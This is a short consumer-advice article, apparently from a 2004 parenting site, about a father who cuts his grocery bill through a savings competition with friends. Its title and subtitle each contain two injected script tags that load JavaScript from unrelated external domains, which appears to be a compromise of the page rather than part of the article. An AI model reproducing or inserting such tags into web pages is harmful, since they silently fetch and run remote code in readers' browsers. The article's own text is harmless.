The Secret to Saving Big at the Grocery Store<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Glenn Lawrence, interactiveDAD Editor - August 1, 2004
The father and husband reveals his technique that's made him the envy of both men and women.<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
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When Steve Huckaby first began grocery shopping, he hated it.  But still there were worse jobs.

 

“Doing the shopping is a whole lot more fun than cleaning the house,” says Huckaby who lives in Orange Co., CA. 

 

Now, three years later, he loves it—and actually looks forward to doing it.  What changed? His outlook.  Instead of thinking about grocery shopping as marketing, it’s become a game.  The object:  See how much money you can save each week—and if you save more than your friends you feel even better.

 

“He challenged me,” says Huckaby, remembering a conversation he had with a friend.  “He showed me his receipts and how much he saved.”

 

That’s when the competition began. Huckaby believed he could save more.  And he set out to prove it.  For him, grocery shopping hasn’t been the same since.

 

Huckaby now wins the weekly competition—saving more than his friends. 

 

HIS SECRET TO SUCCESS

 

At this stage of his life, even Huckaby, 46, who shops for his wife and two children, ages 10 and 3, has a hard time believing he could get this excited about grocery shopping. 

 

Somewhere along the way, he discovered The Grocery Game, a website that helps shoppers save money and time.

 

He can even tell you how much he’s saved.  He keeps track using a spreadsheet. In six months, he says he’s shaved $3,357.79 or 66-percent off his grocery bill.

 

He spends less at the grocery store, but actually buys more.

 

“It never occurred to me that I could save this much money,” says Huckaby. 

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